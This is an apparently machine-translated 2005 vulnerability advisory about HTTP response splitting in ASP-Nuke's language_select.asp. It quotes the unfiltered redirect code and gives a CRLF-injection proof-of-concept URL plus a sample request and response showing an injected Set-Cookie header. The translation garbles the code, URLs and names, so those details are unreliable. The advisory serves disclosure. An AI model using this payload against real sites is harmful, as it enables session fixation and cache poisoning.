Aspnuke language_select.asp HTTP Response Splitting Vulnerability

Release date:2005-06-28
Updated on:2005-06-28

Affected Systems:

ASP-nuke <= 0.80

Description:

BugTraq ID: 14063

ASP nuke is an open source software application that can run community-based sites on Web servers.

An HTTP Response Splitting vulnerability exists in aspnuke. attackers who successfully exploit this vulnerability can influence or mislead the methods of saving, caching, or interpreting web content.

The cause is that user input is not properly filtered. Please refer to the Code in/module/support/Language/language_select.asp line 31st:

<?
...
If steform ("action") = "go" then
'Make sure the required fields are present
If trim (steform ("langcode") = "" then
Serrormsg = stegettext ("Please select a language from the list
Below ")
Else
'Redirect to the language Administration
Response. Redirect "tran_list.asp? Langcode = "&
Steencform ("langcode ")
End if
End if
...
?>

During redirection, attackers may execute CRLF Injection attacks because they do not filter them.

<* Source: Albert to triweaver (trivero@jumpy.it)

Link: http://marc.theaimsgroup.com /? L = BugTraq & M = 111989223906484 & W = 2
*>

Test method:

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Http://www.example.com/module/support/language/language_select.asp? Action = Go & langcode = trivero % 0d % 0aset-cookie % 3 asome % 3 dvalue

The following is an example of the HTTP header:

Request:
Post
/Module/support/Language/language_select.asp? Action = Go & langcode = trivero % 0d % 0
ASET-Cookie % 3 asome % 3 dvalue HTTP/1.0
Accept :*/*
Content-Type: Application/X-WWW-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
HOST: www.aspnuke.com
Content-Length: 90
COOKIE: aspsessionidscrdcdad = nmdfffjbfmlbndnfjdfgagpp; Language = us
Connection: Close

Response:
HTTP/1.1 302 Object Moved
Server: Microsoft-Microsoft IIS/5.0
Date: Sun, 15 May 2005 11:31:37 GMT
Pragma: No-Cache
Location: tran_list.asp? Langcode = triweaver
Set-COOKIE: Some = Value
Connection: keep-alive
Content-Length: 121
Content-Type: text/html
Expires: Sun, 15 May 2005 11:30:38 GMT
Cache-control: No-Cache

Suggestion:

Vendor patch:

ASP-nuke
--------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.asp-nuke.com/downloads.asp

Note:

Take a good look at the articles I wrote. Maybe you will find other vulnerabilities.